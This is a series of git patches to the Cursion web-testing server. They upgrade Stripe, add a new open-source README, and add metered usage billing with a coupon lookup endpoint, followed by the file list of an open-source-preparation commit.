 app/api/tasks.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index 33f986bd..466060da 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -2436,7 +2436,7 @@ def reset_account_usage(account_id: str=None) -> None:
     f = '%Y-%m-%d %H:%M:%S.%f'
 
     # reset account.usage
-    def reset_usage(account, timestamp) -> None:
+    def reset_usage(account) -> None:
         # update usage
         account.usage['scans'] = 0
         account.usage['tests'] = 0

From 1613302ee3294cc0818af0c56c656fd00eb6cbc9 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 7 Jan 2025 12:04:47 -0700
Subject: [PATCH 0824/1099] upgraded stripe tp 11.4.1

---
 setup/requirements/requirements.txt | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/setup/requirements/requirements.txt b/setup/requirements/requirements.txt
index 0bb2d94e..f3d17da3 100644
--- a/setup/requirements/requirements.txt
+++ b/setup/requirements/requirements.txt
@@ -45,7 +45,7 @@ sendgrid==6.9.7
 six==1.16.0
 slack-sdk==3.11.2
 sqlparse==0.4.1
-stripe==8.0.0
+stripe==11.4.1
 tornado==6.1
 twilio==7.3.0
 urllib3==1.26.5

From 5281153837f7e4c780deddb620126fe8bab939dd Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 9 Jan 2025 15:00:08 -0700
Subject: [PATCH 0825/1099] new open-source readme

---
 README.md | 96 ++++++++++++++++++++++++++++++++++++++++++++++++-------
 1 file changed, 85 insertions(+), 11 deletions(-)

diff --git a/README.md b/README.md
index ae820eff..4f1d39bf 100644
--- a/README.md
+++ b/README.md
@@ -1,18 +1,92 @@
-# Cursion Server (API repo)
+<h1 align="center">
+  <a
+    target="_blank"
+    href="https://cursion.dev"
+  >
+    <img
+        align="center"
+        alt="Cursion"
+        src="https://storage-scanerr.sfo3.cdn.digitaloceanspaces.com/static/extras/large-logo-banner.png"
+        style="width:100%;"
+    />
+  </a>
+</h1>
 
-![Build Status](https://github.com/cursion-dev/server/actions/workflows/k8s-deploy.yaml/badge.svg)
+<p align="center">
+    <a href="LICENSE" target="_blank">
+        <img src='https://img.shields.io/badge/license-GNU-green?style=for-the-badge' />
+    </a>&nbsp;
+    <img src='https://img.shields.io/github/commit-activity/m/cursion-dev/server/main?style=for-the-badge' />&nbsp;
+    <a href='https://github.com/cursion-dev/server/actions'>
+        <img alt="GitHub Actions Workflow Status" src="https://img.shields.io/github/actions/workflow/status/cursion-dev/server/k8s-deploy.yaml?style=for-the-badge&label=BUILD STATUS">
+    </a>
+</p>
 
-This is the server repo for the Cursion API, an error detection service designed to run front-end tests on web applications. This service is fully dockertized for local dev/testing as well as deployed environments. 
+<p align="center">
+   Compicated Web Testing on Easy Mode
+</p>
 
-> This software is only intended for internal white-label use and is not licensed for redristibution. See LICENSE for more information.
+<p align="center">
+  <a
+    href="https://docs.cursion.dev"
+    target="_blank"
+  ><b>Documentation</b></a>&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;
+   <a
+    href="https://pypi.org/project/cursion/"
+    target="_blank"
+  ><b>CLI</b></a>&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;
+  <a
+    href="https://docs.cursion.dev/guides/selfhost.html"
+    target="_blank"
+  ><b>Selfhost</b></a>&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;
+  <a
+    href="https://join.slack.com/t/cursion/shared_invite/zt-2ecly7yps-6dFqI2hfJ062ESGjGrwpxw"
+    target="_blank"
+  >
+    <b>Join Slack</b>
+  </a>
+</p>
 
+<br>
+<br>
 
-Copyright © Cursion 2024
+# ✨ Welcome to Cursion
+API-first, open-source, and beginner friendly. Cursion is built for the busy developer, automating functional, performance, and structural testing in one platform.
 
----
-&nbsp;
+<br>
+<br>
+
+
+# 🛒 What's Included
+- [x] Advanced Visual Regression Testing
+- [x] Page Source Regression Testing   
+- [x] [Lighthouse](https://github.com/GoogleChrome/lighthouse) Performance Testing
+- [x] [YellowLab](https://github.com/YellowLabTools/YellowLabTools) Performance Testing
+- [x] Selenium-based Functional Testing
+- [x] A.I. Generated Issues (via OpenAI)
+
+<br>
+<br>
+
+
+# 💻 Installation Guides
+- [Docker Guide](notes/Docker.md)
+- [Kubernetes Guide](notes/Kubernetes.md)
+
+<br>
+<br>
+
+# 🛠️ Contributions
+This will be a work-in-progress. For feature ideas and bug fixes  please refernce best practices found here: <a href="https://opensource.guide/how-to-contribute/" target="_blank">https://opensource.guide/how-to-contribute/</a>
+
+<br>
+<br>
+
+# 🙏 Acknowledgements
+Special thanks to [@ashrafsamhouri](https://github.com/ashrafsamhouri) with [@activepieces](https://github.com/activepieces) and [@basilakis](https://github.com/Basilakis) for the open source inspiration.
+
+<br>
+<br>
+
+Copyright © 2025 Grey Labs, LLC 
 
-## Guides
-- [Server Deployment](notes/Deployment.md)
-- [k8s Deployment](notes/Kubernetes.md)
-&nbsp;

From 8378aa40219f92aa8be09d85884428feb88b6c9a Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 9 Jan 2025 18:23:16 -0700
Subject: [PATCH 0826/1099] update: usage-based pricing & coupons

---
 app/api/admin.py               |  10 +-
 app/api/models.py              |  49 ++++---
 app/api/tasks.py               |  85 +++++++++++-
 app/api/v1/billing/services.py | 230 +++++++++++++++++++++++++++------
 app/api/v1/billing/urls.py     |   3 +-
 app/api/v1/billing/views.py    |  11 ++
 app/api/v1/ops/services.py     |  40 ++++--
 7 files changed, 345 insertions(+), 83 deletions(-)

diff --git a/app/api/admin.py b/app/api/admin.py
index a726d93d..9273fd06 100644
--- a/app/api/admin.py
+++ b/app/api/admin.py
@@ -241,7 +241,6 @@ class FlowAdmin(admin.ModelAdmin):
 
 
 
-
 @admin.register(FlowRun)
 class FlowRunAdmin(admin.ModelAdmin):
     list_display = ('title', 'account', 'site', 'time_created', 'time_completed', 'status')
@@ -256,6 +255,15 @@ class SecretAdmin(admin.ModelAdmin):
 
 
 
+
+@admin.register(Coupon)
+class CouponAdmin(admin.ModelAdmin):
+    list_display = ('__str__', 'discount', 'time_created', 'status',)
+    search_fields = ('code',)
+
+
+
+
 @admin.register(Mask)
 class MaskAdmin(admin.ModelAdmin):
     list_display = ('__str__', 'mask_id', 'active', 'time_created',)
diff --git a/app/api/models.py b/app/api/models.py
index cd7474ef..3918ea3a 100644
--- a/app/api/models.py
+++ b/app/api/models.py
@@ -369,16 +369,11 @@ class Account(models.Model):
     id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False)
     name = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
     user = models.ForeignKey(User, on_delete=models.CASCADE, serialize=True)
-    # phone = models.CharField(max_length=50, serialize=True, null=True, blank=True) ## -> REMOVING !!!!
     active = models.BooleanField(default=False, serialize=True)
     time_created = models.DateTimeField(default=timezone.now, serialize=True)
     type = models.CharField(max_length=1000, serialize=True, null=True, blank=True, default='free')
     code = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
-    license_key = models.CharField(max_length=100, serialize=True, null=True, blank=True, default=get_license_key) ## -> NEW!!!!!
-    # max_sites = models.IntegerField(serialize=True, null=True, blank=True, default=1) ## -> REMOVING!!!!
-    # max_pages = models.IntegerField(serialize=True, null=True, blank=True, default=3) ## -> REMOVING!!!!
-    # max_schedules = models.IntegerField(serialize=True, null=True, blank=True, default=1) ## -> REMOVING!!!!
-    # retention_days = models.IntegerField(serialize=True, null=True, blank=True, default=3) ## -> REMOVING!!!!
+    license_key = models.CharField(max_length=100, serialize=True, null=True, blank=True, default=get_license_key)
     cust_id = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
     sub_id = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
     product_id = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
@@ -388,7 +383,7 @@ class Account(models.Model):
     usage = models.JSONField(serialize=True, null=True, blank=True, default=get_usage_default)
     slack = models.JSONField(serialize=True, null=True, blank=True, default=get_slack_default)
     configs = models.JSONField(serialize=True, null=True, blank=True, default=get_default_configs)
-    info = models.JSONField(serialize=True, null=True, blank=True, default=get_account_info_default) ## -> NEW!!!!!
+    info = models.JSONField(serialize=True, null=True, blank=True, default=get_account_info_default)
     meta = models.JSONField(serialize=True, null=True, blank=True, default=get_meta_default)
    
 
@@ -419,10 +414,10 @@ class Member(models.Model):
     account = models.ForeignKey(Account, on_delete=models.CASCADE, serialize=True)
     user = models.ForeignKey(User, on_delete=models.CASCADE, serialize=True, null=True, blank=True)
     email = models.CharField(max_length=1000, serialize=True, null=True, blank=True) # created by Account admin
-    phone = models.CharField(max_length=50, serialize=True, null=True, blank=True) ## NEW !!!
-    status = models.CharField(max_length=1000, serialize=True, null=True, blank=True)  # pending, active
-    type = models.CharField(max_length=1000, serialize=True, null=True, blank=True)  # admin, contributor, client
-    permissions = models.JSONField(serialize=True, null=True, blank=True, default=get_permissions_default) ## NEW !!!!!!!!
+    phone = models.CharField(max_length=50, serialize=True, null=True, blank=True) 
+    status = models.CharField(max_length=1000, serialize=True, null=True, blank=True) # pending, active
+    type = models.CharField(max_length=1000, serialize=True, null=True, blank=True) # admin, contributor, client
+    permissions = models.JSONField(serialize=True, null=True, blank=True, default=get_permissions_default)
     time_created = models.DateTimeField(default=timezone.now, serialize=True)
 
     def __str__(self):
@@ -532,7 +527,7 @@ def __str__(self):
 
 class Case(models.Model):
     id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False)
-    title = models.CharField(max_length=1000, serialize=True, null=True, blank=True)  ## RENAMED !!!! from name to title
+    title = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
     user = models.ForeignKey(User, on_delete=models.CASCADE, null=True, blank=True, serialize=True)
     account = models.ForeignKey(Account, on_delete=models.CASCADE, serialize=True, null=True, blank=True)
     site = models.ForeignKey(Site, on_delete=models.CASCADE, null=True, blank=True, serialize=True)
@@ -544,17 +539,17 @@ class Case(models.Model):
     tags = models.JSONField(serialize=True, null=True, blank=True, default=get_tags_default)
 
     def __str__(self):
-        return f'{self.title}' if self.title else str(id)  ### REMANED from self.name to self.title
+        return f'{self.title}' if self.title else str(id)
 
 
 
 
-class CaseRun(models.Model):  ## -> RENAME from Testcase to CaseRun !!!!!!!
+class CaseRun(models.Model):
     id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False)
     user = models.ForeignKey(User, on_delete=models.SET_NULL, null=True, blank=True, serialize=True)
     account = models.ForeignKey(Account, on_delete=models.CASCADE, serialize=True, null=True, blank=True)
     case = models.ForeignKey(Case, on_delete=models.CASCADE, null=True, blank=True, serialize=True)
-    title = models.CharField(max_length=500, null=True, blank=True, serialize=True)  ## RENAMED !!!! from case_name to title
+    title = models.CharField(max_length=500, null=True, blank=True, serialize=True)
     site = models.ForeignKey(Site, on_delete=models.CASCADE, null=True, blank=True, serialize=True)
     time_created = models.DateTimeField(default=timezone.now, serialize=True)
     time_completed = models.DateTimeField(null=True, blank=True, serialize=True)
@@ -563,7 +558,7 @@ class CaseRun(models.Model):  ## -> RENAME from Testcase to CaseRun !!!!!!!
     configs = models.JSONField(serialize=True, null=True, blank=True)
 
     def __str__(self):
-        return f'{self.title}_caserun' ## RENAMED !!! from case.name to title
+        return f'{self.title}_caserun'
 
 
 
@@ -603,7 +598,7 @@ def __str__(self):
 
 
 
-class Flow(models.Model): ## -> NEW !!!!!!!
+class Flow(models.Model):
     id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False)
     time_created = models.DateTimeField(default=timezone.now, serialize=True)
     time_last_run = models.DateTimeField(serialize=True, null=True, blank=True)
@@ -619,7 +614,7 @@ def __str__(self):
 
 
 
-class FlowRun(models.Model): ## -> NEW !!!!!!!
+class FlowRun(models.Model):
     id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False)
     time_created = models.DateTimeField(default=timezone.now, serialize=True)
     time_completed = models.DateTimeField(serialize=True, null=True, blank=True)
@@ -646,8 +641,7 @@ class Schedule(models.Model):
     account = models.ForeignKey(Account, on_delete=models.CASCADE, serialize=True, null=True, blank=True)
     scope = models.CharField(max_length=100, default='account', serialize=True)
     resources = models.JSONField(serialize=True, null=True, blank=True)
-    alert = models.ForeignKey('Alert', on_delete=models.SET_NULL, null=True, blank=True, serialize=True, related_name='assoc_alert') ## NEW !!!!
-    # automation = models.ForeignKey('Automation', on_delete=models.SET_NULL, null=True, blank=True, serialize=True, related_name='assoc_auto')  ## REMOVE !!!!
+    alert = models.ForeignKey('Alert', on_delete=models.SET_NULL, null=True, blank=True, serialize=True, related_name='assoc_alert')
     time_created = models.DateTimeField(default=datetime.now, null=True, blank=True, serialize=True)
     time_last_run = models.DateTimeField(null=True, blank=True, serialize=True)
     task_type = models.CharField(max_length=100, default='test', serialize=True)
@@ -667,7 +661,7 @@ def __str__(self):
 
 
 
-class Alert(models.Model):  ## -> RENAME from Automation to alert !!!!!!!
+class Alert(models.Model):
     id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False)
     name = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
     user = models.ForeignKey(User, on_delete=models.CASCADE, null=True, blank=True, serialize=True)
@@ -730,3 +724,16 @@ def __str__(self):
 
 
 
+
+class Coupon(models.Model):
+    id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False)
+    time_created = models.DateTimeField(default=timezone.now, serialize=True)
+    code = models.CharField(max_length=100, serialize=True, null=True, blank=True)
+    discount = models.FloatField(serialize=True, null=True, blank=True)
+    status = models.CharField(max_length=100, serialize=True, null=True, blank=True)
+
+    def __str__(self):
+        return f'{self.code}'
+
+
+
diff --git a/app/api/tasks.py b/app/api/tasks.py
index 466060da..e0ffff66 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -83,7 +83,8 @@ def s3():
 def check_and_increment_resource(account: object, resource: str) -> bool:
     """ 
     Adds 1 to the Account.usage.{resource} if 
-    {resource}_allowed has not been reached.
+    {resource}_allowed has not been reached or 
+    if account.type is 'cloud'.
 
     Expcets: {
         'account'  : <object>,
@@ -95,14 +96,47 @@ def check_and_increment_resource(account: object, resource: str) -> bool:
 
     # define defaults
     success = False
+    charge_list = ['caseruns', 'flowruns', 'scans', 'tests']
+
+    # handle non-paid, cloud accounts
+    if account.type != 'cloud':
+
+        # check allowance
+        if (int(account.usage[f'{resource}']) + 1) <= int(account.usage[f'{resource}_allowed']):
+            
+            # increment and update success
+            account.usage[f'{resource}'] = 1 + int(account.usage[f'{resource}'])
+            account.save()
+            success = True
+    
+    # handle paid, cloud accounts
+    if account.type == 'cloud':
+
+        # increment chargable resources
+        if resource in charge_list:
+
+            # check chargablility
+            if (int(account.usage[f'{resource}'])) >= int(account.usage[f'{resource}_allowed']):
+
+                # meter resource
+                meter_resource(account.id, 1)
+            
+            # increment and update success
+            account.usage[f'{resource}'] = 1 + int(account.usage[f'{resource}'])
+            account.save()
+            success = True
 
-    # check allowance
-    if (int(account.usage[f'{resource}']) + 1) <= int(account.usage[f'{resource}_allowed']):
         
-        # increment and update success
-        account.usage[f'{resource}'] = 1 + int(account.usage[f'{resource}'])
-        account.save()
-        success = True
+        # increment non-chargable resources
+        if resource not in charge_list:
+            
+            # check allowance
+            if (int(account.usage[f'{resource}']) + 1) <= int(account.usage[f'{resource}_allowed']):
+                
+                # increment and update success
+                account.usage[f'{resource}'] = 1 + int(account.usage[f'{resource}'])
+                account.save()
+                success = True
 
     # return response
     return success
@@ -2502,6 +2536,7 @@ def reset_usage(account) -> None:
 
 
 
+
 @shared_task
 def temp_account_reset() -> None:
 
@@ -2516,6 +2551,7 @@ def temp_account_reset() -> None:
 
 
 
+
 @shared_task
 def update_sub_price(account_id: str=None, sites_allowed: int=None) -> None:
     """ 
@@ -2607,6 +2643,41 @@ def update_sub_price(account_id: str=None, sites_allowed: int=None) -> None:
 
 
 
+@shared_task
+def meter_resource(account_id: str=None, count: int=1) -> None:
+    """ 
+    Sends a `MeterEvent` request to Stripe to 
+    track account usage
+
+    Expects: {
+        'account_id' : <str> (REQUIRED)   
+        'count'      : <int> (OPTIONAL)   
+    }
+
+    Returns: None
+    """
+
+    # init Stripe client
+    stripe.api_key = settings.STRIPE_PRIVATE
+
+    # get account
+    account = Account.objects.get(id=account_id)
+
+    # send stripe request
+    stripe.billing.MeterEvent.create(
+        event_name  = 'tasks',
+        payload     = {
+            'stripe_customer_id': account.cust_id, 
+            "value": count
+        },
+    )
+
+    # return
+    return None
+
+
+
+
 @shared_task
 def delete_old_resources(account_id: str=None, days_to_live: int=30) -> None:
     """ 
diff --git a/app/api/v1/billing/services.py b/app/api/v1/billing/services.py
index 2e9f96f9..b2ded861 100644
--- a/app/api/v1/billing/services.py
+++ b/app/api/v1/billing/services.py
@@ -5,7 +5,7 @@
 from datetime import date, datetime, timedelta
 from ...models import (
     Account, Member, Card, Site, Issue, Schedule, Flow,
-    get_meta_default, get_usage_default
+    get_meta_default, get_usage_default, Coupon
 )
 from ..ops.services import delete_site
 from ..auth.services import create_or_update_account
@@ -32,11 +32,12 @@ def stripe_setup(request: object) -> object:
         'name'                  : <str> 'free', 'cloud', 'selfhost', 'enterprise' (REQUIRED)
         'interval'              : <str> 'month' or 'year' (REQUIRED)
         'price_amount'          : <int> 1000 == $10 (REQUIRED)
+        'task_amount'           : <int> 1000 == $10 (REQUIRED)
         'sites_allowed'         : <int> total # `Sites` per `Account` (REQUIRED)
         'pages_allowed'         : <int> total # `Pages` per `Site` (REQUIRED)
         'schedules_allowed'     : <int> total # `Schedules` per `Account` (REQUIRED)
         'retention_days'        : <int> total # days to keep data (REQUIRED)
-        'caseruns'              : <str> 'true' or 'false' (OPTIONAL)
+        'caseruns_allowed'      : <int> total # of CaseRuns per `Account` per month (OPTIONAL)
         'scans_allowed'         : <int> total # of `Scans` per `Account` per month (OPTIONAL)
         'tests_allowed'         : <int> total # of `Tests` per `Account` per month (OPTIONAL)
         'caseruns_allowed'      : <int> total # of `CaseRuns` per `Account` per month (OPTIONAL)
@@ -57,8 +58,9 @@ def stripe_setup(request: object) -> object:
     
     # get request data
     name = request.data.get('name')
-    interval = request.data.get('interval') # month or year
+    interval = request.data.get('interval', 'month') # month or year
     price_amount = int(request.data.get('price_amount'))
+    task_amount = int(request.data.get('task_amount'))
     sites_allowed = int(request.data.get('sites_allowed'))
     pages_allowed = int(request.data.get('pages_allowed'))
     schedules_allowed = int(request.data.get('schedules_allowed'))
@@ -77,65 +79,126 @@ def stripe_setup(request: object) -> object:
     # set defaults
     initial_call = True
     client_secret = None
+    default_product = None
+    default_price = None
+    task_product = None
+    task_price = None
+    prices = []
 
-    # build Stripe Product name
-    product_name = f'{name.capitalize()}'
+    # build Stripe Default Product name
+    default_product_name = f'{name.capitalize()}'
 
     # get account 
     account = Account.objects.get(user=user)
+
+    # get cursion task meter
+    meters = stripe.billing.Meter.list()
+    meter = meters['data'][0]
     
     # create new Stripe Customer & Product
     if account.cust_id is None:
-        product = stripe.Product.create(name=product_name)
+        default_product = stripe.Product.create(name=default_product_name)
         customer = stripe.Customer.create(
-            email=request.user.email,
-            name=f'{user.first_name} {user.last_name}'
+            email = request.user.email,
+            name  = f'{user.first_name} {user.last_name}'
         )
 
     # update existing Stripe Customer & Product
     if account.cust_id is not None:
         initial_call = False
-        product = stripe.Product.modify(account.product_id, name=product_name)
+        default_product = stripe.Product.modify(account.product_id, name=default_product_name)
         customer = stripe.Customer.retrieve(account.cust_id)
 
-    # create new Stripe Price 
-    price = stripe.Price.create(
-        product=product.id,
-        unit_amount=price_amount,
-        currency='usd',
-        recurring={'interval': interval,},
+    # create new Stripe Default Price for 
+    default_price = stripe.Price.create(
+        product     = default_product.id,
+        unit_amount = price_amount,
+        currency    = 'usd',
+        recurring   = {'interval': interval,},
     )
 
+    # add to prices
+    prices.append(default_price)
+    
+    # create new Stripe Task Product & Price for CLOUD
+    if name == 'cloud':
+
+        # create task product
+        task_product = stripe.Product.create(name='Tasks')
+
+        # create task price
+        task_price = stripe.Price.create(
+            product        = task_product.id,
+            unit_amount    = task_amount,
+            currency       = 'usd',
+            billing_scheme = 'per_unit',
+            recurring      = {
+                'usage_type' : 'metered', 
+                'interval'   : 'month', 
+                'meter'      : meter['id']
+            },
+        )
+
+        # add to prices
+        prices.append(task_price)
+
     # create new Stripe Subscription if none exists
     if account.sub_id is None:
+
+        # build items
+        items = []
+        for price in prices:
+            items.append({
+                'price': price.id
+            })
+
+        # create subscription
         subscription = stripe.Subscription.create(
-            customer=customer.id,
-            items=[{
-                'price': price.id,
-            }],
-            payment_behavior='default_incomplete',
-            expand=['latest_invoice.payment_intent'],
-            # trial_period_days=7,
+            customer            = customer.id,
+            items               = items,
+            payment_behavior    = 'default_incomplete',
+            expand              = ['latest_invoice.payment_intent'],
+            # trial_period_days   = 7,
         )
 
     # update existing Stripe Subscription
     if account.sub_id is not None:
+
+        # get subscription
         sub = stripe.Subscription.retrieve(account.sub_id)
+
+        # build items
+        items = []
+        i = 0
+        for price in prices:
+            items.append({
+                'id'    : sub['items']['data'][i].id,
+                'price' : price.id
+            })
+            i += 1
+    
+        # updating price defaults and archiving old default_price
+        stripe.Product.modify(default_product.id, default_price=default_price,)
+        stripe.Price.modify(account.price_id, active=False)
+
+        # get old task_price if available
+        if not task_price:
+            for item in sub['items']['data']:
+                if item['price']['recurring']['usage_type'] == 'metered':
+                    task_price_id = item['price']['id']
+                    
+                    # archive old task price
+                    stripe.Price.modify(task_price_id, active=False)
+        
+        # update subscription
         subscription = stripe.Subscription.modify(
             sub.id,
-            cancel_at_period_end=False,
-            pause_collection='',
-            proration_behavior='create_prorations',
-            items=[{
-                'id': sub['items']['data'][0].id,
-                'price': price.id,
-            }],
-            expand=['latest_invoice.payment_intent'],
+            cancel_at_period_end    = False,
+            pause_collection        = '',
+            proration_behavior      = 'create_prorations',
+            items                   = items,
+            expand                  = ['latest_invoice.payment_intent'],
         )
-    
-        # updating price defaults and archiving old price
-        stripe.Product.modify(product.id, default_price=price,)
-        stripe.Price.modify(account.price_id, active=False)
 
     # update `Account` with new Stripe info
     create_or_update_account(
@@ -144,8 +207,8 @@ def stripe_setup(request: object) -> object:
         type                = name,
         cust_id             = customer.id,
         sub_id              = subscription.id,
-        product_id          = product.id,
-        price_id            = price.id,
+        product_id          = default_product.id,
+        price_id            = default_price.id,
         price_amount        = price_amount,
         interval            = interval,
         sites_allowed       = sites_allowed,
@@ -168,8 +231,8 @@ def stripe_setup(request: object) -> object:
     
     # format and return
     data = {
-        'subscription_id' : subscription.id,
-        'client_secret' : client_secret,
+        'subscription_id'   : subscription.id,
+        'client_secret'     : client_secret,
     }
     return Response(data, status=status.HTTP_200_OK)
 
@@ -507,8 +570,29 @@ def get_billing_info(request: object) -> object:
     member = Member.objects.get(user=user)
     account = member.account
 
-    # set default
+    # set defaults
     card = None
+    estimated_cost = None
+
+    # get current task usage overages if cloud
+    if account.type == 'cloud':
+        
+        task_count = 0
+        task_items = ['caseruns', 'flowruns', 'scans', 'tests']
+        
+        for item in task_items:
+            overage = int(account.usage[item]) - int(account.usage[f'{item}_allowed'])
+            if overage > 0:
+                task_count += overage
+        
+        # calc current estimated costs
+        estimated_cost = round(
+            (account.price_amount) + 
+            (
+                (10 - (10 * account.meta['coupon']['discount'])) 
+                * task_count
+            )
+        )
 
     # build plan
     plan = {
@@ -518,6 +602,7 @@ def get_billing_info(request: object) -> object:
         'interval': account.interval,
         'usage': account.usage,
         'meta': account.meta,
+        'estimated_cost': estimated_cost
     }
         
     # get `Card` info if exists
@@ -706,9 +791,12 @@ def get_stripe_invoices(request: object) -> object:
         invoice_body = stripe.Invoice.list(
             customer=account.cust_id,
         )
-        
+
+        # add to invoices list
+        invoices = [i for i in invoice_body.data]
+
         # build list of Stripe Invice objects
-        for invoice in invoice_body.data:
+        for invoice in invoices:
 
             # setting defaults
             items = []
@@ -725,7 +813,8 @@ def get_stripe_invoices(request: object) -> object:
                     'period_start': item['period']['start'],
                     'period_end': item['period']['end'],
                     'quantity': item['quantity'],
-                    'proration': item['proration']
+                    'proration': item['proration'],
+                    'unit_amount': item['price']['unit_amount']
                 })
 
                 # getting product name and interval if item 
@@ -774,3 +863,60 @@ def get_stripe_invoices(request: object) -> object:
     return Response(data, status=status.HTTP_200_OK)
 
 
+
+
+### ------ Begin Coupon Services ------ ###
+
+
+
+
+def check_coupon(request: object) -> object:
+    """ 
+    Checks the passed 'query' against any existing
+    `Coupon.codes`. If found, returns "success=True" 
+    and the whole `Coupon` object
+
+    Expects: {
+        'request' : <object> (REQUIRED)
+    }
+    
+    Returns -> HTTP Response of serialized `Coupon` objects
+    """
+
+    # get request data
+    user = request.user
+    member = Member.objects.get(user=user)
+    account = member.account
+
+    # get code
+    code = request.query_params.get('code')
+
+    # defaults
+    coupon = None
+    success = False
+
+    # check code against Coupons
+    if Coupon.objects.filter(code=code, status='active').exists():
+        
+        # get coupon object
+        coup = Coupon.objects.get(code=code)
+        success = True
+        coupon = {
+            'id': str(coup.id),
+            'code': str(coup.code),
+            'discount': float(coup.discount),
+        }
+
+    # return
+    data = {
+        'success': success,
+        'coupon': coupon
+    }
+
+    # return response
+    return Response(data, status=status.HTTP_200_OK) 
+
+
+
+
+
diff --git a/app/api/v1/billing/urls.py b/app/api/v1/billing/urls.py
index 8d558fc6..690d9711 100644
--- a/app/api/v1/billing/urls.py
+++ b/app/api/v1/billing/urls.py
@@ -15,5 +15,6 @@
     path('subscription/cancel', views.SubscriptionCancel.as_view(), name='subscription_cancel'),
     path('subscription/update', views.SubscriptionUpdate.as_view(), name='subscription_update'),
     path('subscription/url', views.SubscriptionUrl.as_view(), name='subscription_url'),
-    path('account/activation', views.AccountActivation.as_view(), name='account_activation')
+    path('account/activation', views.AccountActivation.as_view(), name='account_activation'),
+    path('coupon/search', views.Coupon.as_view(), name='coupon')
 ]
diff --git a/app/api/v1/billing/views.py b/app/api/v1/billing/views.py
index 001371ed..073dc209 100644
--- a/app/api/v1/billing/views.py
+++ b/app/api/v1/billing/views.py
@@ -109,3 +109,14 @@ def get(self, request):
 
 
 
+class Coupon(APIView):
+    permission_classes = (IsAuthenticated,)
+    https_method_names = ['get',]
+
+    def get(self, request):
+        response = check_coupon(request)
+        return response
+
+
+
+
diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 473c4764..9f09afae 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -76,7 +76,7 @@ def decrement_resource(account: object, resource: str) -> None:
         'resource' : <str> 'site', 'page', 'schedule'
     }
 
-    Returns: Non
+    Returns: None
     """
 
     # remove 1 from account.usage[{resource}]
@@ -346,21 +346,27 @@ def site_in_sites(id) -> bool:
             account.usage['sites_allowed'] += 1
             account.usage['schedules_allowed'] += 1
             account.save()
-            # update price for sub
-            update_sub_price.delay(account.id)
+            
+            # update price for sub if enterprise
+            if account.type == 'enterprise':
+                update_sub_price.delay(account.id)
 
 
     # check usage if action is 'add'
     if action == 'add' and resource in usage_list:
 
-        # check if usage allows for add
-        if int(account.usage[f'{resource}s']) >= int(account.usage[f'{resource}s_allowed']):
-            return {
-                'allowed': False,
-                'error': f'max {resource}s reached',
-                'code': '426',
-                'status': status.HTTP_426_UPGRADE_REQUIRED
-            }
+        # check if usage allows for 'add'
+        if (int(account.usage[f'{resource}s']) >= int(account.usage[f'{resource}s_allowed'])):
+            
+            # return UPGRADE_REQUIRED if not cloud
+            if account.type != 'cloud':
+                return {
+                    'allowed': False,
+                    'error': f'max {resource}s reached',
+                    'code': '426',
+                    'status': status.HTTP_426_UPGRADE_REQUIRED
+                }
+
         
     # return True
     return {
@@ -1536,6 +1542,9 @@ def create_scan(request: object=None, **kwargs) -> object:
         account.usage['scans'] += 1
         account.save() 
 
+        # Meter new resource with stripe
+        meter_resource.delay(account.id, 1)
+
         # creating scan obj
         created_scan = Scan.objects.create(
             site=p.site,
@@ -2294,6 +2303,9 @@ def create_test(request: object=None, **kwargs) -> object:
         account.usage['tests'] += 1
         account.save()
 
+        # Meter new resource with stripe
+        meter_resource.delay(account.id, 1)
+
         # running test in background
         create_test_bg.delay(
             test_id=test.id,
@@ -5407,6 +5419,9 @@ def create_caserun(request: object=None) -> object:
     account.usage['caseruns'] += 1
     account.save()
 
+    # Meter new resource with stripe
+    meter_resource.delay(account.id, 1)
+
     # create new tescase 
     caserun = CaseRun.objects.create(
         case = case,
@@ -6151,6 +6166,9 @@ def create_flowrun(request: object=None) -> object:
     account.usage['flowruns'] += 1
     account.save()
 
+    # Meter new resource with stripe
+    meter_resource.delay(account.id, 1)
+
     # set flowrun_id
     flowrun_id = uuid.uuid4()
 

From 30c8b94a49887b4852bb85ba1c79283d0e906c2e Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 9 Jan 2025 18:24:52 -0700
Subject: [PATCH 0827/1099] update: open source preparations

---
 .gitignore                                    |  14 +-
 LICENSE                                       |   8 +
 README.md                                     |   8 +-
 {docker => archive}/docker-compose.prod.yml   |   0
 .../docker-compose.remote.yml                 |   0
 env/.env.local.example                        | 105 ++++++++
 k8s/local/app-configs-example.yaml            |  79 ++++++
 k8s/local/app-deployment.yaml                 |  17 +-
 k8s/local/beat-deployment.yaml                |  30 +++
 k8s/local/celery-deployment.yaml              |   8 +-
 k8s/local/db-deployment.yaml                  |   4 +-
 k8s/prod/app-configs-example.yaml             |   9 +-
 LICENSE.md => legal/COMMERCIAL.md             |   2 +-
 legal/OSS.md                                  | 171 +++++++++++++
 notes/Deployment.md                           | 168 -------------
 notes/Docker.md                               |  33 +++
 notes/Kubernetes.md                           | 226 ++++--------------
